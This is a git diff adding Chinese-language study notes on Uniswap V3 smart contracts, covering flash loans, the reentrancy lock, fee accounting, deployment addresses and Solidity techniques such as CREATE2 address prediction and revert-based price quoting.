+### flash
+
+闪电贷接口，无需抵押和零信任的借贷，借贷到还贷需要在一个区块内完成。本接口只能归还相同品种相同数量的token，如果需要借出和归还不同品种，直接使用swap函数
+
+实现原理：
+
+- 借贷方可以先向合约借贷 x, y token 中某一个（或者两个都借贷）
+- 借贷方指定借贷的数量，以及回调函数的参数，调用 flashswap
+- 合约会先将用户请求借贷的 token 按指定数量发送给借贷方
+- 发送完毕后，Pool会向借贷方指定的合约的地址调用指定的回调函数，并将回调函数的参数传入
+- 调用完成后，Pool检查 x, y token 余额满足 x′⋅y′≥k (x⋅y=k)
+
+```solidity
+/// @inheritdoc IUniswapV3PoolActions
+function flash(
+    address recipient,
+    uint256 amount0,
+    uint256 amount1,
+    bytes calldata data
+) external override lock noDelegateCall {
+    // 若Pool中没有流动性，无法提供借贷
+    uint128 _liquidity = liquidity;
+    require(_liquidity > 0, 'L');
+
+    // 计算手续费
+    uint256 fee0 = FullMath.mulDivRoundingUp(amount0, fee, 1e6);
+    uint256 fee1 = FullMath.mulDivRoundingUp(amount1, fee, 1e6);
+    // 记录借贷之前的Pool的token总余额
+    uint256 balance0Before = balance0();
+    uint256 balance1Before = balance1();
+
+    // 将贷款打给借贷者
+    if (amount0 > 0) TransferHelper.safeTransfer(token0, recipient, amount0);
+    if (amount1 > 0) TransferHelper.safeTransfer(token1, recipient, amount1);
+
+    // flash的回调
+    // 用户在回调中需要完成还贷的逻辑，将贷款归还Pool
+    IUniswapV3FlashCallback(msg.sender).uniswapV3FlashCallback(fee0, fee1, data);
+
+    // 查询借贷流程之后的Pool的token总余额
+    uint256 balance0After = balance0();
+    uint256 balance1After = balance1();
+
+    // 两种token余额，只能多不能少
+    require(balance0Before.add(fee0) <= balance0After, 'F0');
+    require(balance1Before.add(fee1) <= balance1After, 'F1');
+
+    // sub is safe because we know balanceAfter is gt balanceBefore by at least fee
+    // 这里减法不用担心下溢出，因为after至少比before多了fee
+    uint256 paid0 = balance0After - balance0Before;
+    uint256 paid1 = balance1After - balance1Before;
+
+    // 分别计算交易手续费和协议手续费
+    if (paid0 > 0) {
+        uint8 feeProtocol0 = slot0.feeProtocol % 16;
+        uint256 fees0 = feeProtocol0 == 0 ? 0 : paid0 / feeProtocol0;
+        if (uint128(fees0) > 0) protocolFees.token0 += uint128(fees0);
+        feeGrowthGlobal0X128 += FullMath.mulDiv(paid0 - fees0, FixedPoint128.Q128, _liquidity);
+    }
+    if (paid1 > 0) {
+        uint8 feeProtocol1 = slot0.feeProtocol >> 4;
+        uint256 fees1 = feeProtocol1 == 0 ? 0 : paid1 / feeProtocol1;
+        if (uint128(fees1) > 0) protocolFees.token1 += uint128(fees1);
+        feeGrowthGlobal1X128 += FullMath.mulDiv(paid1 - fees1, FixedPoint128.Q128, _liquidity);
+    }
+
+    emit Flash(msg.sender, recipient, amount0, amount1, paid0, paid1);
+}
+```
+
+## modifier
+
+### lock
+
+被修饰的函数执行时，slot0 为锁定状态，执行完成后解锁
+防止重入攻击
+
+```solidity
+/// @dev Mutually exclusive reentrancy protection into the pool to/from a method. This method also prevents entrance
+/// to a function before the pool is initialized. The reentrancy guard is required throughout the contract because
+/// we use balance checks to determine the payment status of interactions such as mint, swap and flash.
+/// 资金出入Pool时，防止重入攻击的互斥锁。
+/// 整个合约都需要重入保护，因为我们使用余额检查来确定交互的支付状态，例如 mint、swap 和 flash。
+/// 此方法还可以防止Pool在初始化之前，有资金出入（Pool初始化前unlocked为false）
+modifier lock() {
+    require(slot0.unlocked, 'LOK');
+    slot0.unlocked = false;
+    _;
+    slot0.unlocked = true;
+}
+```
+
+相关代码
+
+- [Pool.slot0](#slot0)
+
+补充
+
+- [re-entrancy(重入攻击)](https://docs.soliditylang.org/en/latest/security-considerations.html#re-entrancy)
diff --git a/defi/Uniswap-V3/contractGuide/deploys.md b/defi/Uniswap-V3/contractGuide/deploys.md
new file mode 100644
index 000000000..f708381d9
--- /dev/null
+++ b/defi/Uniswap-V3/contractGuide/deploys.md
@@ -0,0 +1,26 @@
+# Deployment addresses(Kovan)
+
+The latest version of `@uniswap/v3-core`, `@uniswap/v3-periphery` are deployed to Ethereum mainnet and all testnets at the same addresses.
+
+The source code is verified with Etherscan on all networks, for all contracts except `UniswapV3Pool`.
+We are working on getting the `UniswapV3Pool` contract verified with Etherscan.
+
+These addresses are final and were deployed from these npm package versions:
+
+- `@uniswap/v3-core`: [`1.0.0`](https://github.com/Uniswap/uniswap-v3-core/tree/v1.0.0)
+- `@uniswap/v3-periphery`: [`1.0.0`](https://github.com/Uniswap/uniswap-v3-periphery/tree/v1.0.0)
+
+| Contract                           | Address                                      | Source Code                                                                                                                   |
+| ---------------------------------- | -------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------- |
+| UniswapV3Factory                   | `0xE85C64accfFeBcace89723129e6EF2Fc8094B368` | https://github.com/Uniswap/uniswap-v3-core/blob/v1.0.0/contracts/UniswapV3Factory.sol                                         |
+| Multicall2                         | `0x6790c50f237A664b2fa0cEEf18042761F8395f44` | https://etherscan.io/address/0x5BA1e12693Dc8F9c48aAD8770482f4739bEeD696#code                                                  |
+| ProxyAdmin                         | `0x39a50Cf023D693bB920aBfe63526CC3c9DE80265` | https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.4.1-solc-0.7-2/contracts/proxy/ProxyAdmin.sol                  |
+| TickLens                           | `0x6875E7461463F93C5aD25BE12C8D544Bca020cd3` | https://github.com/Uniswap/uniswap-v3-periphery/blob/v1.0.0/contracts/lens/TickLens.sol                                       |
+| Quoter                             | `0x0bDFd24BBB4894d85e35D96EA5A3B93BB4f64986` | https://github.com/Uniswap/uniswap-v3-periphery/blob/v1.0.0/contracts/lens/Quoter.sol                                         |
+| SwapRouter                         | `0xe79dBeD0F7eA2f3cb60835a81E7771d540E621AD` | https://github.com/Uniswap/uniswap-v3-periphery/blob/v1.0.0/contracts/SwapRouter.sol                                          |
+| NFTDescriptor                      | `0x2E2E27284421e9598EeCb9fd8b8B3360a56cd57b` | https://github.com/Uniswap/uniswap-v3-periphery/blob/v1.0.0/contracts/libraries/NFTDescriptor.sol                             |
+| NonfungibleTokenPositionDescriptor | `0xF70b9837B61018d417B9d1f42dC593682eff09e4` | https://github.com/Uniswap/uniswap-v3-periphery/blob/v1.0.0/contracts/NonfungibleTokenPositionDescriptor.sol                  |
+| TransparentUpgradeableProxy        | `0x966D25AA1ecc44F4c2369854CEE504d737720BA8` | https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.4.1-solc-0.7-2/contracts/proxy/TransparentUpgradeableProxy.sol |
+| NonfungiblePositionManager         | `0x73E6E57c517e1C5c76b1173Fe7413221F8272050` | https://github.com/Uniswap/uniswap-v3-periphery/blob/v1.0.0/contracts/NonfungiblePositionManager.sol                          |
+| V3Migrator                         | `0x8c9C35a1c355ED4ab841bA86db96B9889e4c0dbc` | https://github.com/Uniswap/uniswap-v3-periphery/blob/v1.0.0/contracts/V3Migrator.sol                                          |
+| WETH9                              | `0x886871d69D2F5D33Ec2A243801b09CD85dBD7324` | https://etherscan.io/address/0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2#code                                                  |
diff --git a/Learn-DEFI-Uniswap-V3/fee.md b/defi/Uniswap-V3/contractGuide/fee.md
similarity index 77%
rename from Learn-DEFI-Uniswap-V3/fee.md
rename to defi/Uniswap-V3/contractGuide/fee.md
index d7179146e..466eb79b9 100644
--- a/Learn-DEFI-Uniswap-V3/fee.md
+++ b/defi/Uniswap-V3/contractGuide/fee.md
@@ -1,15 +1,21 @@
 # Uniswap V3
 ## 交易手续费介绍
- 不同手续费级别，在添加流动性时，价格可选值的最小粒度也不一样（这个是因为 tick spacing 的影响），
- 一般来说，手续费越低，价格可选值越精细，因此官方推荐价格波动小的交易对使用低费率（例如稳定币交易对）
+不同手续费级别，在添加流动性时，价格可选值的最小粒度也不一样（这个是因为 tick spacing 的影响），一般来说，手续费越低，价格可选值越精细，因此官方推荐价格波动小的交易对使用低费率（例如稳定币交易对）
 
 以开发者的视角来看，Uniswap v3 的手续费计算相对会比较复杂， 因为它需要针对每一个 position 来进行单独的计算，为了方便计算，在代码中会将手续费相关的元数据记录在 position 的边界 tick 上（这些 tick 上还存储了 ΔL 等元数据）。
 
 一个交易对池的流动性，是由不同的流动性组合而成，每一个流动性的提供者都可以设置独立的价格范围区间，这个被称为 positon. 当我们计算交易的手续费时，我们需要计算如下值：
  - 每一个 position 收取的手续费（token0, token1 需要分别单独计算）
- - 用户如果提取了手续费，需要记录用户已提取的数值
+
+ - 用户如果提取了手续费，需要记录用户已提取的数值  
+
 v3 中有以下几个关于手续费的变量：
-- 交易池中手续费的费率值，这里记录的值时以 1000000 为基数的值，例如当手续费为 0.03% 时，费率值为 300
+
+- 交易池中手续费的费率值，这里记录的值是以 1000000 为基数的值，例如当手续费为 0.03% 时，费率值为 300
+
 - 全局状态变量 feeGrowthGlobal0X128 和 feeGrowthGlobal1X128 ，分别表示 token0 和 token1 所累计的手续费总额，使用了 Q128.128 浮点数来记录
+
 - 对于每个 tick，记录了 feeGrowthOutside0X128 和 feeGrowthOutside0X128，这两个变量记录了发生在此 tick 「外侧」的手续费总额，那么什么「外侧」呢，后文会详细说明
-- 对于每个 position，记录了此 position 内的手续费总额 feeGrowthInside0LastX128 和 feeGrowthInside1LastX128，这个值不需要每次都更新，它只会在 position 发生变动，或者用户提取手续费时更新 
\ No newline at end of file
+
+- 对于每个 position，记录了此 position 内的手续费总额 feeGrowthInside0LastX128 和 feeGrowthInside1LastX128，这个值不需要每次都更新，它只会在 position 发生变动，或者用户提取手续费时更新 
+
diff --git a/Learn-DEFI-Uniswap-V3/governance.md b/defi/Uniswap-V3/contractGuide/governance.md
similarity index 100%
rename from Learn-DEFI-Uniswap-V3/governance.md
rename to defi/Uniswap-V3/contractGuide/governance.md
diff --git a/defi/Uniswap-V3/contractGuide/img/UniswapV3_ContractMap_Factory.png b/defi/Uniswap-V3/contractGuide/img/UniswapV3_ContractMap_Factory.png
new file mode 100644
index 000000000..7ff0d1f45
Binary files /dev/null and b/defi/Uniswap-V3/contractGuide/img/UniswapV3_ContractMap_Factory.png differ
diff --git a/defi/Uniswap-V3/contractGuide/img/UniswapV3_ContractMap_NonFungiblePositionManager.png b/defi/Uniswap-V3/contractGuide/img/UniswapV3_ContractMap_NonFungiblePositionManager.png
new file mode 100644
index 000000000..40e49a347
Binary files /dev/null and b/defi/Uniswap-V3/contractGuide/img/UniswapV3_ContractMap_NonFungiblePositionManager.png differ
diff --git a/defi/Uniswap-V3/contractGuide/img/UniswapV3_ContractMap_Pool.png b/defi/Uniswap-V3/contractGuide/img/UniswapV3_ContractMap_Pool.png
new file mode 100644
index 000000000..e6833ad5a
Binary files /dev/null and b/defi/Uniswap-V3/contractGuide/img/UniswapV3_ContractMap_Pool.png differ
diff --git a/defi/Uniswap-V3/contractGuide/img/add-liquidity.png b/defi/Uniswap-V3/contractGuide/img/add-liquidity.png
new file mode 100644
index 000000000..4b164dda9
Binary files /dev/null and b/defi/Uniswap-V3/contractGuide/img/add-liquidity.png differ
diff --git a/defi/Uniswap-V3/contractGuide/img/contracts-relationship.webp b/defi/Uniswap-V3/contractGuide/img/contracts-relationship.webp
new file mode 100644
index 000000000..5f30e7930
Binary files /dev/null and b/defi/Uniswap-V3/contractGuide/img/contracts-relationship.webp differ
diff --git a/Learn-DEFI-Uniswap-V3/img/create-pool.png b/defi/Uniswap-V3/contractGuide/img/create-pool.png
similarity index 100%
rename from Learn-DEFI-Uniswap-V3/img/create-pool.png
rename to defi/Uniswap-V3/contractGuide/img/create-pool.png
diff --git a/defi/Uniswap-V3/contractGuide/img/getSqrtRatioAtTick.png b/defi/Uniswap-V3/contractGuide/img/getSqrtRatioAtTick.png
new file mode 100644
index 000000000..027b939b4
Binary files /dev/null and b/defi/Uniswap-V3/contractGuide/img/getSqrtRatioAtTick.png differ
diff --git a/defi/Uniswap-V3/contractGuide/img/swap-exact-input.png b/defi/Uniswap-V3/contractGuide/img/swap-exact-input.png
new file mode 100644
index 000000000..fb208e1cd
Binary files /dev/null and b/defi/Uniswap-V3/contractGuide/img/swap-exact-input.png differ
diff --git a/defi/Uniswap-V3/contractGuide/img/swap-path.webp b/defi/Uniswap-V3/contractGuide/img/swap-path.webp
new file mode 100644
index 000000000..182fc4a13
Binary files /dev/null and b/defi/Uniswap-V3/contractGuide/img/swap-path.webp differ
diff --git a/defi/Uniswap-V3/contractGuide/programmingSkills.md b/defi/Uniswap-V3/contractGuide/programmingSkills.md
new file mode 100644
index 000000000..a425e67f5
--- /dev/null
+++ b/defi/Uniswap-V3/contractGuide/programmingSkills.md
@@ -0,0 +1,276 @@
+# V3 源码编程技巧学习
+
+## MLOAD vs SLOAD
+
+在源码更新头寸（position）函数中，在从 storage 载入合约状态时，有如下额外注释（`// SLOAD for gas optimization`）：
+
+```solidity
+function _modifyPosition(ModifyPositionParams memory params) {
+  // ...
+
+  Slot0 memory _slot0 = slot0; // SLOAD for gas optimization
+
+  position = _updatePosition(
+      params.owner,
+      params.tickLower,
+      params.tickUpper,
+      params.liquidityDelta,
+      _slot0.tick // 1
+  );
+
+  if (params.liquidityDelta != 0) {
+      if (_slot0.tick < params.tickLower) { // 2
+          // ...
+      } else if (_slot0.tick < params.tickUpper) { // 3
+          (slot0.observationIndex, slot0.observationCardinality) = observations.write( // 4
+              _slot0.observationIndex,  // 5
+              _blockTimestamp(),
+              _slot0.tick, // 6
+              liquidityBefore,
+              _slot0.observationCardinality, // 7
+              _slot0.observationCardinalityNext // 8
+          );
+
+          amount0 = SqrtPriceMath.getAmount0Delta(
+              _slot0.sqrtPriceX96, // 9
+              TickMath.getSqrtRatioAtTick(params.tickUpper),
+              params.liquidityDelta
+          );
+          amount1 = SqrtPriceMath.getAmount1Delta(
+              TickMath.getSqrtRatioAtTick(params.tickLower),
+              _slot0.sqrtPriceX96, // 10
+              params.liquidityDelta
+          );
+          // ...
+      } else {
+          // ...
+      }
+  }
+}
+```
+
+从代码中可见，由于函数内有 10 处需要引用 `slot0` storage 变量内的字段。而访问 storage 变量（SLOAD）的成本是比访问 memory 变量（MLOAD）昂贵不少的。所以源码在函数最上方先使用一次 SLOAD 将变量 `slot0` 载入到内存中，以节省 Gas 开销。我们可以使用如下代码试验一下：
+
+```solidity
+contract TestSaveToMem {
+  struct Slot {
+    uint256 a;
+    uint256 b;
+  }
+
+  Slot public slot;
+
+  constructor() {
+    slot = Slot({ a: 100, b: 200 });
+  }
+
+  function notSaveToMem() public returns (uint256 gasUsed) {
+    uint256 startGas = gasleft();
+
+    for (int i = 0; i < 10; i++) {
+      readProp(slot.a);
+      readProp(slot.b);
+    }
+
+    gasUsed = startGas - gasleft();
+  }
+
+  function saveToMem() public returns (uint256 gasUsed) {
+    uint256 startGas = gasleft();
+
+    Slot memory _slot = slot;
+    for (int i = 0; i < 10; i++) {
+      readProp(_slot.a);
+      readProp(_slot.b);
+    }
+
+    gasUsed = startGas - gasleft();
+  }
+
+  function readProp(uint256 prop) private pure {
+    require(prop > 0);
+  }
+}
+```
+
+测试结果为：
+
+```txt
+notSaveToMem gasUsed: 18989
+    ✓ notSaveToMem
+saveToMem gasUsed: 4736
+    ✓ saveToMem
+```
+
+可见函数如果单纯同样次数读取 storage 内的变量，先存入 memory 的话，开销大约只有 1/4 左右。
+
+## 可预知的合约地址
+
+在源码创建代币交易对池的地方，我们可以看到：
+
+```solidity
+function deploy(
+    address factory,
+    address token0,
+    address token1,
+    uint24 fee,
+    int24 tickSpacing
+) internal returns (address pool) {
+    // ...
+    pool = address(new UniswapV3Pool{salt: keccak256(abi.encode(token0, token1, fee))}());
+    // ...
+}
+```
+
+代码在创建合约时，先将可预知的交易对池的元信息，通过 `abi.encode` 编码后，然后作为 `slat` 参数，在合约的创建中使用。在[官方文档](https://docs.soliditylang.org/en/latest/control-structures.html#salted-contract-creations-create2)的解释中，若合约的创建中，指定了 `salt` 参数，则会使用 `create2` 机制创建合约，即若指定的 `salt` 不变，则创建的合约地址不变，只需使用 `bytes1(0xff)`，工厂合约的地址，`salt`，合约代码的哈希以及初始化参数，就可还原。
+
+官方的例子如下：
+
+```solidity
+contract D {
+    uint public x;
+    constructor(uint a) {
+        x = a;
+    }
+}
+
+contract C {
+    function createDSalted(bytes32 salt, uint arg) public {
+        address predictedAddress = address(uint160(uint(keccak256(abi.encodePacked(
+            bytes1(0xff),
+            address(this),
+            salt,
+            keccak256(abi.encodePacked(
+                type(D).creationCode,
+                arg
+            ))
+        )))));
+
+        D d = new D{salt: salt}(arg);
+        require(address(d) == predictedAddress);
+    }
+}
+```
+
+Uniswap 源码中，还原地址的逻辑也是类似的：
+
+```solidity
+function computeAddress(address factory, PoolKey memory key) internal pure returns (address pool) {
+    require(key.token0 < key.token1);
+    pool = address(
+        uint256(
+            keccak256(
+                abi.encodePacked(
+                    hex'ff',
+                    factory,
+                    keccak256(abi.encode(key.token0, key.token1, key.fee)),
+                    POOL_INIT_CODE_HASH
+                )
+            )
+        )
+    );
+}
+```
+
+如此一来，合约的地址就不需再上链进行抓取，一方面方便了部署，另一方也节省了存储与抓取的 Gas 开销。
+
+## 不一致的 ERC20 接口定义
+
+目前 ERC20 接口，对 transfer 等发送代币的函数的返回值定义会有[两种](https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca)情况，一种为若发送失败，则会返回 `false` ，如 [openzeppelin](https://docs.openzeppelin.com/contracts/4.x/api/token/erc20#ERC20-transfer-address-uint256-) 就是这么定义的，还有一种为若发送失败，则直接在函数中进行 `revert()` ，函数没有返回值。面对这种同一函数，同样参数，不同返回值的情况，Uniswap V3 源码是这么处理的：
+
+```solidity
+function safeTransfer(
+    address token,
+    address to,
+    uint256 value
+) internal {
+    (bool success, bytes memory data) =
+        token.call(abi.encodeWithSelector(IERC20Minimal.transfer.selector, to, value));
+    require(success && (data.length == 0 || abi.decode(data, (bool))), 'TF');
+}
+```
+
+首先，由于 Solidity 的 [Function Selector](https://docs.soliditylang.org/en/latest/abi-spec.html#abi-function-selector) 定义中可知，Function Selector 是函数原型（prototype）哈希的前 4 字节，而函数原型是由函数名和它的所有参数类型决定的。所以 `abi.encodeWithSelector` 可以允许代码在未知函数返回类型的情况下，调用函数。在调用之后，代码通过第二个返回值 `data` 来判断返回布尔版本的 `transfer` 是否调用成功，第一个返回值 `bool success` 来判断 `revert()` 版本的调用成功（若调用成功就无返回值即 `data.length == 0`）与否。
+
+## 预计算"白嫖"算力
+
+由于在 Uniswap V3 中，同一种代币对的交换，可能同时存在许许多多不同价格区间的流动性池，所以，在查询当前给定的 A 代币能交换多少 B 代币（即代币的价格）时，并不能像 V2 那样，抓取一下两边代币在流动性池中的数量（仅需要调用一下 `view` 级别的函数），客户端利用核心公式 `x * y = (x + Δx) * (y − Δy) = k` 一推导，就能够知道。所以在 V3 中，只能像实际交换代币那样，从当前价格开始，一个个头寸池流过去，才能计算出最终可以得到的 B 代币数量。而在 V3 源码种，[交换代币函数](https://github.com/Uniswap/v3-core/blob/main/contracts/UniswapV3Pool.sol#L596)是一个接近 200 行的大函数，且会改变合约的状态，若用户刚想知道一下代币间的汇率，就要支付 Gas 费，也是不合理的。在这种情况下， Uniswap V3 利用了 solidity 中，`revert(string reason)` 函数可以终止当前函数调用，并向调用者退还剩余 Gas 费的机制，做了一个实现，首先我们看一下[交换代币函数](https://github.com/Uniswap/v3-core/blob/main/contracts/UniswapV3Pool.sol#L596)的具体代码：
+
+```solidity
+function swap(
+      address recipient,
+      bool zeroForOne,
+      int256 amountSpecified,
+      uint160 sqrtPriceLimitX96,
+      bytes calldata data
+) external override noDelegateCall returns (int256 amount0, int256 amount1) {
+  // 计算出可交换出的另一种代币的数量
+  // ...
+
+  IUniswapV3SwapCallback(msg.sender).uniswapV3SwapCallback(amount0, amount1, data);
+
+  // ...
+}
+```
+
+我们可以看到，`swap` 函数会要求请求它的合约，自身实现一个 `IUniswapV3SwapCallback` 的接口。函数在计算出可交换出的另一种代币的数量后，在返回之前，会先调用一下请求合约自身实现的 `IUniswapV3SwapCallback(msg.sender).uniswapV3SwapCallback` 作为回调，并且最终可交换的 B 代币数会作为参数。而在抓取代币价格的合约 `Quoter` 中的具体实现为：
+
+```solidity
+function quoteExactInputSingle(
+    address tokenIn,
+    address tokenOut,
+    uint24 fee,
+    uint256 amountIn,
+    uint160 sqrtPriceLimitX96
+) public override returns (uint256 amountOut) {
+  // ...
+
+  // 调用 swap 时，使用 try-catch 捕获 revert 信息
+  // 并从 parseRevertReason(reason) 中读取 reason 信息
+  try
+      getPool(tokenIn, tokenOut, fee).swap(
+          // ...
+      )
+  {} catch (bytes memory reason) {
+      return parseRevertReason(reason);
+  }
+}
+
+/// @inheritdoc IUniswapV3SwapCallback
+function uniswapV3SwapCallback(
+    int256 amount0Delta,
+    int256 amount1Delta,
+    bytes memory path
+) external view override {
+    // ...
+    // 将结果 amountReceived 存入 0x40 位置，然后作为 revert reason
+    assembly {
+        let ptr := mload(0x40)
+        mstore(ptr, amountReceived)
+        revert(ptr, 32)
+    }
+    // ...
+}
+
+function parseRevertReason(bytes memory reason) private pure returns (uint256) {
+  // ...
+  return abi.decode(reason, (uint256));
+}
+```
+
+从代码中可见，首先使用了 `try-catch` 捕获 `revert` ，然后使用 `assembly` 读取 free memory pointer ，将汇率信息读出来。具体 `assembly` 的运用，可以参阅[这篇文档](https://medium.com/shyft-network-media/solidity-and-inline-assembly-37871dc582a6)。
+
+所以说，虽然 `quoteExactInputSingle` 是 `public` 修饰的，但是其本质是一个 `view` 。
+
+或许你还会问，虽然 `revert()` 函数的确能取消调用，并且退还 Gas 费，那也只是退还剩余部分，已被计算花销了的 Gas 并不会退还，那客户端不是还是要为了抓取一个汇率而付费吗？其实，在客户端（如 [ethers](https://www.npmjs.com/package/ethers)）中，会使用 `contract.callStatic.quoteExactInputSingle(…)` 的方式，让节点以“假装”不会有状态变化的方式来尝试调用一个 `public` 函数，来达到没有 Gas 花费而又抓取了汇率的效果。
+
+正如 [ehters 的 callStatic 函数文档](https://docs.ethers.io/v5/api/contract/contract/#contract-callStatic) 中所描述的：
+
+```js
+// Rather than executing the state-change of a transaction, it is possible to ask a node to
+// pretend that a call is not state-changing and return the result.
+
+// This does not actually change any state, but is free. This in some cases can be used
+// to determine if a transaction will fail or succeed.
+contract.callStatic.METHOD_NAME( ...args [ , overrides ] ) ⇒ Promise< any >
+```
diff --git a/defi/Uniswap-V3/contractGuide/readme.md b/defi/Uniswap-V3/contractGuide/readme.md
new file mode 100644
index 000000000..b4bc5ec15
--- /dev/null
+++ b/defi/Uniswap-V3/contractGuide/readme.md
@@ -0,0 +1,246 @@
+# UniswapV3 合约导读
+
+> 本文旨在帮助大家熟悉 UniswapV3 的合约结构，梳理流程。以下内容主要参考自 [@paco0x](https://github.com/paco0x) 的系列博客[《Uniswap v3 详解》](https://liaoph.com/uniswap-v3-1/)。感谢 paco 的精彩分享，强烈推荐大家去读一读他的博客！
+
+## 基本架构
+
+Uniswap v3 在代码层面的架构和 v2 基本保持一致，将合约分成了两个仓库：
+
+- uniswap-v3-core
+- uniswap-v3-periphery
+
+### core
+
+- **UniswapV3Factory**: 提供创建 pool 的接口，并且追踪所有的 pool
+- **UniswapV3Pool**: 实现代币交易，流动性管理，交易手续费的收取，oracle 数据管理。接口的实现粒度比较低，不适合普通用户使用，错误的调用其中的接口可能会造成经济上的损失。
+
+### periphery
+
+- **SwapRouter**: 提供代币交易的接口，它是对 UniswapV3Pool 合约中交易相关接口的进一步封装，前端界面主要与这个合约来进行对接。
+- **NonfungiblePositionManager**: 用来增加/移除/修改 Pool 的流动性，并且通过 NFT token 将流动性代币化。使用 ERC721 token（v2 使用的是 ERC20）的原因是同一个池的多个流动性并不能等价替换（v3 的集中流性动功能）。
+
+### 相关图示
+
+- 合约关系图
+  ![合约关系图](./img/contracts-relationship.webp)
+- [合约结构图](../img/640.png)
+- [Factory 结构图](./img/UniswapV3_ContractMap_Factory.png)
+- [NonFungiblePositionManager 结构图](./img/UniswapV3_ContractMap_NonFungiblePositionManager.png)
+- [Pool 结构图](./img/UniswapV3_ContractMap_Pool.png)
+
+## 流程梳理
+
+### NonfungiblePositionManager
+
+#### CreatePool
+
+![创建交易对流程图](./img/create-pool.png)
+
+用户首先调用 `NonfungiblePositionManager` 合约的 `createAndInitializePoolIfNecessary` 方法创建交易对，传入的参数为交易对的 token0, token1, fee 和初始价格 sqrtPrice.
+
+- 调用`Factory.getPool(tokenA, tokenB, fee)`获取 Pool 地址
+
+- 如果 Pool 地址为 0，说明 Pool 还未创建
+
+  - 调用`Factory.createPool(tokenA, tokenB, fee)`，创建 Pool
+    - Factory调用 `Pool.deploy` 部署Pool合约
+  - 调用`Pool.initialize(sqrtPriceX96)`对 Pool 初始化
+
+- 如果 Pool 地址不为 0 ，说明 Pool 已存在
+
+  - 检查 Pool 的价格，若为 0，调用`Pool.initialize(sqrtPriceX96)`对 Pool 初始化
+
+相关代码
+
+- [createAndInitializePoolIfNecessary](./NonfungiblePositionManager.md#createAndInitializePoolIfNecessary)
+- [UniswapV3Factory.getPool](./UniswapV3Factory.md#getPool)
+- [UniswapV3Factory.createPool](./UniswapV3Factory.md#createPool)
+- [UniswapV3Factory.deploy](./UniswapV3Factory.md#deploy)
+- [UniswapV3Pool.initialize](./UniswapV3Pool.md#initialize)
+
+xmind
+
+- [CreatePool 程序流程图](./xmind/CreatePool.png)
+
+#### mint
+
+铸造代表流动性头寸的ERC721代币返回给用户
+
+![添加流动性对流程图](./img/add-liquidity.png)
+
+用户调用 `Manager.mint`创建Position并添加流动性：
+
+- Manager内部调用 `Manager.addLiquidity`
+- Manager调用`Pool.mint`
+  - 修改用户的position状态
+  - 调用manager的mint回调函数，进行token的转帐操作
+- Manager内部调用`Manager.mint`，返回`amount0` `amount1`(token0,token1 的实际注入数量)
+  - 将代表相关流动性postion的ERC721代币返回给用户
+  - 创建流动性头寸存入Manager
+- 广播 `IncreaseLiquidity(tokenId, liquidity, amount0, amount1)`
+
+相关代码
+
+- [Manager.mint](./NonfungiblePositionManager.md#mint)
+- [Pool.mint](./UniswapV3Pool.md#mint)
+- [struct AddLiquidityParams](./NonfungiblePositionManager.md#AddLiquidityParams)
+- [Manager.addLiquidity](./NonfungiblePositionManager.md#addLiquidity)
+
+xmind
+
+- [Mint/IncreateLiquidity 程序流程图](./xmind/Mint-IncreateLiquidity.png)
+
+#### increaseLiquidity
+
+用户调用 `Manager.increaseLiquidity` 向已有Position添加流动性：
+
+- Manager内部调用 `Manager.addLiquidity`
+- 从Pool中获取position最新的手续费数值
+- 将手续费加到position的记录中（两种token分别记录）
+- 广播 `IncreaseLiquidity(tokenId, liquidity, amount0, amount1)`
+
+注意：添加或移除流动性都会触发Manager从Pool中更新手续费数据，但不会提取
+
+相关代码
+
+- [struct AddLiquidityParams](./NonfungiblePositionManager.md#AddLiquidityParams)
+- [Manager.addLiquidity](./NonfungiblePositionManager.md#addLiquidity)
+
+#### decreaseLiquidity
+
+用户调用 `Manager.decreaseLiquidity` 移除已有Position的流动性：
+
+- 检查入参，position现有流动性 >= 传入的流动性
+- 调用`Pool.burn` 返回实际移除的流动性转换为token的数量（amount0, amount1）
+- 回收用户在Pool中积累的手续费
+  - 先获取Pool中手续费数值
+  - 手续费增量 = Pool手续费数值 - position中记录的手续费数值
+  - 将手续费增量累加到position的待取token数量中
+  - 更新 position中记录的手续费数值
+- 更新 position中记录的流动性
+- 广播 `IncreaseLiquidity(tokenId, liquidity, amount0, amount1)`
+
+相关代码
+
+- [struct DecreaseLiquidityParams](./NonfungiblePositionManager.md#DecreaseLiquidityParams)
+- [Manager.decreaseLiquidity](./NonfungiblePositionManager.md#decreaseLiquidity)
+
+xmind
+
+- [DecreaseLiquidity 程序流程图](./xmind/DecreaseLiquidity.png)
+
+#### collect
+
+用户调用 `Manager.collect` 回收Pool中累计的手续费收益：
+
+- 检查入参
+  - 回收手续费最大数量需要 > 0
+  - 当入参recipient为0，设为本Manager合约地址
+- 如果position流动性 > 0，触发Pool更新手续费相关数据的快照
+  - 调用`Pool.burn`触发更新手续费相关的数据，这里数量传0，并不会真的移除流动性
+  - Pool的手续费 - Manager中记录的手续费 = 手续费增量（即本次可取的手续费数量）
+  - 期望取回的手续费数量 = max(手续费增量，入参的手续费最大值)
+- 调用 `Pool.collect` ，Pool将手续费转给接收者，返回实际取回的手续费数量
+- 更新Manager中手续费数据与Pool同步
+- 广播 `Collect(params.tokenId, recipient, amount0Collect, amount1Collect)`
+
+相关代码
+
+- [struct CollectParams](./NonfungiblePositionManager.md#CollectParams)
+- [Manager.collect](./NonfungiblePositionManager.md#collect)
+- [Pool.collect](./UniswapV3Pool.md#collect)
+
+xmind
+
+- [CollectFee 程序流程图](./xmind/CollectFee.png)
+
+#### burn
+
+用户调用 `Manager.burn`，移除position，并销毁ERC721token
+
+相关代码
+
+- [Manager.burn](./NonfungiblePositionManager.md#burn)
+
+xmind
+
+- [BurnPosition 程序流程图](./xmind/BurnPosition.png)
+
+### SwapRouter
+
+#### exactInput
+
+指定交易对路径，给出期望的输入数量，返回实际的交易数量。
+
+![exactInput](./img/swap-exact-input.png)
+
+##### 路径选择
+
+在进行两个代币交易时，是首先需要在链下计算出交易的路径，例如使用 `ETH` -> `DAI` ：
+
+- 可以直接通过 `ETH`/`DAI` 的交易池完成
+- 也可以通过 `ETH` -> `USDC` -> `DAI` 路径，即经过 `ETH/USDC`, `USDC/DAI` 两个交易池完成交易
+- token地址没有排序限制
+
+##### 执行过程
+
+这里流程比较多，建议配合xmind流程图梳理。
+
+用户调用 `Router.exactInput`：
+
+1. 将支付者payer设置为交易发起者（用户）
